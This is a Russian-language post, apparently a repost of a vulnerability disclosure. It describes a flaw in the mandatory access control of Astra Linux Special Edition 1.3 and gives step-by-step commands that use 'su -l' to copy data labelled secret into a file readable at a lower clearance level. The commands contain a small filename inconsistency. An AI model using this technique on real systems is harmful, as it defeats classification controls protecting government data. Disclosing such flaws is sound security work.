Есть такой дистрибутив линукса Astra Linux Special Edition, который сертифицирован МО РФ, ФСТЕК. И который создается в лучших традициях линуксоидов, виндовых программистов решивших писать под линукс, как под виндовс, ну и специфических реалиях российской оборонки. Понятно что из этого всего что-то нормальное не могло получится. В итоге сделали кучу костылей, вместо того, чтобы доделать уже существующие и надежно работающие решения. В итоге был найден эксплойт для получения доступа к данным различного уровня доступа.
Под катом репост оригинала:
Описание уязвимости
Критическая уязвимость в Astra Linux позволяет пользователю изменять категории мандатного доступа, понижая степень секретности и класс для сведений. Одной из причин описанной проблемы является закрытость проекта и построение велосипедов вместо использования значительно более проверенных и протестированных решений, таких, как SELinux. Для мандатного контроля доступа в Astra Linux используются следующие компоненты: модуль ядра parsecfs, реализующий монтирование файловых систем, видимых пользователям с одинаковым уровнем доступа, аудит действий пользователя и мандатный контроль доступа, юзерспейсный сервис для настройки ядерной части и модули PAM для аутентификации и авторизации пользователей. Идеологически модель, используемая в Astra Linux напоминает модель модель Белла-Лападулы, реализованную в Multi-level security политике SELinux, но имеет одно отличие: пользователю разрешено выбирать при входе в систему, с каким классом и уровнем сведений он желает работать. При обычной работе пользователь даже не видит документы, имеющие другой класс, так как содержимое его домашнего каталога фактически “монтируется” заново при каждом входе в систему. При этом, пользователю по умолчанию разрешено выполнять команду su, причём эта команда, помимо ID пользователя, изменяет и его мандатную метку, а опция -l “перемонтирует” и его домашний каталог.
Эксплоит
1) Создаём юзера, указав ему минимальный уровень доступа 0, а максимальный 1:
level2:0:0:1:0
2) Логинимся от секретного пользователя.
Astra Linux SE 1.3 (smolensk)
tty1
astra login: level2
Secret level [1]: 1
3) Создаём файл с секретными данными
level2@astra~$ echo secret message >test.txt
4) Повышаем привиллегии, открываем файл на чтение в старой сессии и скармливаем в новую
level2@astra~$ su -l level2 -c echo `cat test1.txt` > secret.txt
5) Проверяем результат, заходим с другим уровнем доступа:
Astra Linux SE 1.3 (smolensk)
tty1
astra login: level2
Secret level [1]: 0
level2@astra~$ cat secret.txt
secret message
Аналогичным образом возможен перенос документов между категориями и различными пользователями. Резюмируя вышесказанное, критическая уязвимость в Astra Linux несёт серьёзную угрозу безопасности органов государственной власти.